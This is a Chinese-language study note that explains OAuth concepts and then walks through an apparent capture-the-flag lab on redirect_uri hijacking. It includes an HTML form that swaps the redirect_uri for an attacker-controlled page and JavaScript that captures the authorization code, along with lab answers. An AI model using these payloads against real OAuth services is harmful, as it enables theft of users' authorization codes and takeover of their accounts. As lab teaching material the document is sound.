OAuth学习 上 基本概念OAuth 是一种授权协议允许第三方应用在不暴露用户密码的情况下访问用户的资源。以下是 OAuth 体系中的核心角色和术语核心角色与术语1. Resource Owner资源拥有者控制数据并能授权应用访问其数据的个人或系统。举例你作为咖啡店客户可以授权咖啡店的 App 访问你的账户信息。2. Client客户端请求资源访问权限的应用可为移动 App 或服务器端 Web 应用。举例咖啡店的 Web App需要你的授权才能访问账户和支付信息。3. Authorization Server授权服务器在成功认证资源拥有者并获得授权后向客户端发放访问令牌。举例咖啡店后台系统负责验证你的身份并授权 Web App 访问你的账户。4. Resource Server资源服务器托管受保护资源使用访问令牌响应客户端请求。举例咖啡店数据库存储你的账户、订单和支付信息响应 Web App 的数据请求。5. Authorization Grant授权许可客户端用来代表资源拥有者授权获取访问令牌的凭证。主要类型Authorization CodeImplicitResource Owner Password CredentialsClient Credentials举例首次登录咖啡店 App 时你提供用户名和密码App 用此授权许可获取访问令牌。6. Access Token访问令牌客户端代表资源拥有者访问受保护资源的凭证具有有限的有效期和权限范围。举例登录后App 获得访问令牌可在一段时间内访问你的账户无需重复登录。7. Refresh Token刷新令牌客户端可用来获取新的访问令牌无需资源拥有者再次认证。举例访问令牌过期后Web App 使用刷新令牌获取新令牌避免频繁登录。8. Redirect URI重定向 URI授权服务器在授权或拒绝后将用户代理重定向到的 URI。举例登录咖啡店 App 后页面会重定向到授权服务器确认登录成功。9. Scope权限范围限制应用对用户账户访问权限的机制。客户端可指定所需访问范围授权服务器告知用户应用请求的权限。举例咖啡店 App 可能请求访问你的订单历史和支付信息你可选择授权或拒绝。10. State Parameter状态参数可选参数用于维护客户端与授权服务器间的状态防止 CSRF 攻击。举例登录时App 向授权服务器发送状态参数确保响应与原请求匹配提升安全性。11. Token Authorization Endpoint令牌与授权端点Token Endpoint客户端用授权许可或刷新令牌换取访问令牌的接口。Authorization Endpoint资源拥有者认证并授权客户端访问受保护资源的接口。OAuth 流程简介OAuth 授权流程简述用户尝试登录目标网站如 Bistro。Bistro 网站要求用户通过第三方如 CoffeeShopApp授权登录。用户跳转到授权服务器进行身份验证和授权。授权服务器验证成功后重定向回 Bistro 网站并携带授权码等参数。Bistro 网站使用授权码向授权服务器申请访问令牌进而访问用户资源。流程示意你想登录 A 网站BistroA 网站要求你通过 B 平台CoffeeShopApp授权登录登录过程会跳转至第三方平台进行身份验证例如登录 GPT 时跳转到谷歌邮箱授权Bistro 应用实例Bistro 应用本身不直接保存你的账号密码而是让你通过 CoffeeShopApp 登录。你想要登录 Bistro 网站但平台要求你通过 CoffeeShopApp 授权。http://bistro.thm:8000CoffeeShopApp 授权流程举例登录 Bistro 网站后会跳转到 CoffeeShopApp 的登录页面。暴露的网址如下http://coffee.thm:8000/accounts/login/?next/o/authorize/%3Fclient_id%3Dzlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//bistro.thm%3A8000/oauthdemo/callback关键参数说明response_typecode表示 CoffeeShopApp 期望返回授权码。stateCSRF 令牌确保请求和响应属于同一事务防止跨站攻击。client_id客户端应用的唯一标识标识 CoffeeShopApp。redirect_uri授权服务器完成授权后将用户重定向到此 URI需与预注册的 URI 匹配。scope指定请求的访问权限如查看咖啡订单。重点说明最关键的是redirect_uri[http://bistro.thm:8000/oauthdemo/callback](http://bistro.thm:8000/oauthdemo/callback)意思是Coffee 登录/授权完成后把用户带回 Bistro 的 callback 地址通过包含这些参数小酒馆应用程序能够确保授权服务器了解所请求的内容并知道将用户引导至何处。以下是将用户重定向到授权服务器的 Python 代码示例def oauth_login(request): app Application.objects.get(nameCoffeeApp) redirect_uri request.GET.get(redirect_uri, http://bistro.thm:8000/oauthdemo/callback) authorization_url ( fhttp://coffee.thm:8000/o/authorize/?client_id{app.client_id}response_typecoderedirect_uri{redirect_uri} ) return redirect(authorization_url)我们输入密码后会跳转到这个界面然后我们用 BP 抓一下包然后点一下 Authorize第一次包会给我们这个界面这里会显示第一题的答案就是 client_id zlurq9lseKqvHabNqOc2DkjChC000QJPQOJvNoBt我们会抓到这个 code但其实我们是放行了一个包之后才能抓到这个 code 的因为我们还需要跳转code 示例iea300imlH5pRtNMmLoH1Q72TvLCnx qKUEgpc6VIYUqey5FeZ5cCTfZu8Rk3 每次都不一样如何识别 OAuth 在应用中的使用常见识别方式登录流程中出现“使用 Google、Facebook、GitHub 等第三方登录”的选项通常会跳转到授权页面表明 OAuth 被应用。网络抓包时关注 HTTP 重定向OAuth 实现通常会将浏览器重定向到授权服务器的 URL。URL 中包含 response_type, client_id, redirect_uri, scope, state 等参数表明正在进行 OAuth 流程。示例 URLhttps://dev.coffee.thm/authorize?response_typecodeclient_idAppClientIDredirect_urihttps://dev.coffee.thm/callbackscopeprofilestatexyzSecure123如何识别 OAuth 框架主要方法HTTP Headers 和响应内容检查 HTTP 响应头和正文是否有特定 OAuth 库或框架的标识。源码分析如果能访问源码搜索关键字和 import 语句如 django-oauth-toolkit, oauthlib, spring-security-oauth, passportNode.js等。端点分析不同 OAuth 实现有各自的授权和令牌端点路径。例如 Django OAuth Toolkit 通常为 /oauth/authorize/ 和 /oauth/token/。错误信息详细错误提示或调试输出可能会泄露底层技术栈和使用的 OAuth 库。Redirect_URI 的作用与漏洞分析高亮Tokens 在 OAuth 2.0 中至关重要若 redirect_uri 不安全攻击者可劫持令牌。Redirect_URI 的作用redirect_uri 参数在 OAuth 流程中用于指定授权服务器授权后将令牌发送到的地址。必须在应用设置中预注册以防止开放重定向漏洞。授权服务器会校验提供的 redirect_uri 是否与注册的 URI 匹配。漏洞风险若攻击者控制了 redirect_uri 的域或 URI可劫持令牌造成严重安全问题。攻击流程举例假设 OAuth 应用注册了多个重定向 URI。攻击者策略控制 dev.bistro.thm 域将 redirect_uri 设置为 http://dev.bistro.thm/callback授权服务器将令牌发送到该域。攻击过程攻击者发起 OAuth 流程确保 redirect_uri 指向其控制的域。用户授权后令牌被发送到攻击者域攻击者即可截获令牌访问受保护资源。准备攻击 Payload攻击者视角攻击前请确保以受害者身份退出 OAuth 提供者访问 http://coffee.thm:8000/admin/logout。假设攻击者已控制 dev.bistro.thm:8002可在该服务器托管任意 HTML 页面。攻击者可向受害者 Tom 发送链接通过社工或 CSRF 诱导其点击。那我们接下来先来解释一下这两串源码示例 HTML第一段负责把 victim 带去 OAuth 登录并把回调地址改成攻击者页面。form actionhttp://coffee.thm:8000/oauthdemo/oauth_login/ methodget input typehidden nameredirect_uri valuehttp://dev.bistro.thm:8002/malicious_redirect.html input typesubmit valueHijack OAuth /form逐行看form actionhttp://coffee.thm:8000/oauthdemo/oauth_login/ methodget这个表单提交到 Coffee 的 OAuth 登录入口。methodget 表示参数会拼到 URL 后面。input typehidden nameredirect_uri valuehttp://dev.bistro.thm:8002/malicious_redirect.html这是隐藏字段用户看不到。它告诉 Coffee授权完成后把用户跳转到这个地址但这个地址不是正常的http://bistro.thm:8000/oauthdemo/callback而是攻击者控制的http://dev.bistro.thm:8002/malicious_redirect.htmlinput typesubmit valueHijack OAuth这是按钮。用户看到的是Hijack OAuth点击后就会提交这个表单。所以第一段整体意思是诱导用户开始 OAuth 登录但偷偷把 redirect_uri 设置成攻击者页面。OK,那我们来看第二段script // 提取 URL 中的授权码 const urlParams new URLSearchParams(window.location.search); const code urlParams.get(code); document.getElementById(auth_code).innerText code; console.log(Intercepted Authorization Code:, code); // 可进一步保存 code 到数据库/文件等 /script逐行看const urlParams new URLSearchParams(window.location.search);读取当前页面 URL 的查询参数。比如当前 URL 是http://dev.bistro.thm:8002/malicious_redirect.html?codeabc123那么window.location.search就是?codeabc123const code urlParams.get(code);从 URL 参数里取出 code 的值abc123document.getElementById(auth_code).innerText code;把 code 显示到网页上某个 id 为 auth_code 的元素里。比如页面可能有div idauth_code/div最后显示abc123console.log(Intercepted Authorization Code:, code);把 code 打印到浏览器控制台方便攻击者查看。// code to save the acquired code in database/file etc注释意思是真实攻击里攻击者可能会把这个 code 保存到服务器、数据库或日志里。完整攻击链1. victim 打开 dev.bistro.thm:8002/redirect_uri.html 2. victim 点击 Hijack OAuth 3. 表单请求 Coffee并携带恶意 redirect_uri 4. victim 在 Coffee 登录并授权 5. Coffee 把 code 发到 dev.bistro.thm:8002/malicious_redirect.html?codexxx 6. 恶意 JS 从 URL 里读取 code 7. 攻击者拿 code 去换 access_token核心漏洞就是Coffee 对 redirect_uri 校验不严格允许授权码跳到攻击者可控页面。那我现在借助TMH的靶场来给你们演示一下先保证我们的是没有登录的。访问恶意网址 http://dev.bistro.thm:8002/redirect_uri.html这就是一个有诱导性的页面让你登录去领奖点开之后会真的来到官方的登录界面但其实你仔细看看网址是不对的http://coffee.thm:8000/accounts/login/?next/o/authorize/%3Fclient_id%3Dzlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt%26response_type%3Dcode%26redirect_uri%3Dhttp%3A//dev.bistro.thm%3A8002/malicious_redirect.html这个 URL 不对劲的核心在这里redirect_urihttp%3A//dev.bistro.thm%3A8002/malicious_redirect.html它解码后是redirect_urihttp://dev.bistro.thm:8002/malicious_redirect.html也就是说OAuth 授权完成后Coffee 不会把授权码送回正常的 Bistro 回调地址而是送到http://dev.bistro.thm:8002/malicious_redirect.html这是攻击者控制的页面。正常应该是redirect_urihttp://bistro.thm:8000/oauthdemo/callback你这个 URL 的结构拆开是http://coffee.thm:8000/accounts/login/这是 Coffee 登录页正常。?next/o/authorize/...意思是登录后继续去 OAuth 授权接口也正常。里面的 OAuth 参数client_idzlurq9lseKqvHabNqOc2DkjChC000QJPQ0JvNoBt response_typecode redirect_urihttp://dev.bistro.thm:8002/malicious_redirect.html前两个基本正常client_id 哪个应用在申请授权 response_typecode 要授权码危险的是第三个redirect_uri 授权码发到哪里它被换成了攻击者页面。所以攻击效果是1. 用户看到的是 coffee.thm 官方登录页 2. 用户输入真实账号密码 3. 用户点击授权 4. coffee.thm 生成 code 5. code 被重定向到 dev.bistro.thm:8002/malicious_redirect.html 6. 恶意页面读取 URL 里的 code然后我们就正常输入账号密码来到熟悉的界面然后我们这里会拿到一串字符我们把这串字符复制一下去构造http://bistro.thm:8000/oauthdemo/callbackforflag/?codexxxxx就能获得这道题的答案攻击流程总结攻击者通过社工等方式发送链接 http://dev.bistro.thm:8002/redirect_uri.html 给受害者。受害者点击后跳转到攻击者控制页面表单提交伪造的 redirect_uri。受害者输入 OAuth 账号密码后授权码被重定向到攻击者控制的页面攻击者成功截获。攻击者可利用该授权码请求 /callback 端点换取访问令牌获取受害者资源。访问 http://bistro.thm:8000/oauthdemo/callbackforflag/?codexxxxx替换 code 参数即可获取 access token。